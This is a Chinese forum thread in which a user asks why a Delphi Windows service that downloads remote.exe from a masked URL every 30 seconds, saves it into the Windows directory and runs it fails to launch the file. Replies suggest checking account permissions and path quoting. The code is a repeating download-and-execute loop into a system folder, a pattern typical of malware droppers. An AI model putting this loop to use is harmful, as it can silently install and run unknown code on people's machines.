今日小弟写了一个服务程序,在服务程序中启动另一个程序,但是没有成功。具体代码如下:
procedure Tremoteservice.ServiceExecute(Sender: TService);
var
  Downloader: TIdHTTP;
  MS: TMemoryStream;
  WinDir: string;
begin
  while not Terminated do
  begin
    Downloader := TIdHTTP.Create(nil);
    MS := TMemoryStream.Create;
    try
      WinDir := GetEnvironmentVariable('WINDIR');      Downloader.Get('http://www.xxxxx.com/remote.exe', MS);
      MS.SaveToFile(WinDir+'\remote.exe');
      ShellExecute(0, nil, PChar(WinDir+'\remote.exe'), nil, PChar(WinDir+'\'), SW_SHOWNORMAL);
    finally
      Downloader.Free;
      MS.Free;
    end;
    Sleep(30000);//*每次执行时间间隔*
  end;
end;
问题是:服务可正常启动,但是不能够执行下载后的remote.exe程序,但是,remote.exe程序可以双击执行无误。
小弟百思不得其解,望高手不吝赐教,指出代码中的不到之处,谢谢!

解决方案 »

  1.   

    运行服务的账号是什么
    它有没有权限写windir?
      

  2.   

    WinDir这个路径有空格吗?有的话,需要用双引号将路径包括起来
      

  3.   

    谢谢楼上的热心回答。
    WinDir这个路径没有空格,在我的电脑上为:c:\Windows,服务程序能够正确下载remote.exe到c:\windows目录中,所以WinDir这个变量应该没有问题。
    我不明白为什么ShellExecute(0, nil, PChar(WinDir+'\remote.exe'), nil, PChar(WinDir+'\'), SW_SHOWNORMAL);这句代码得不到正确的执行。请高手不吝赐教。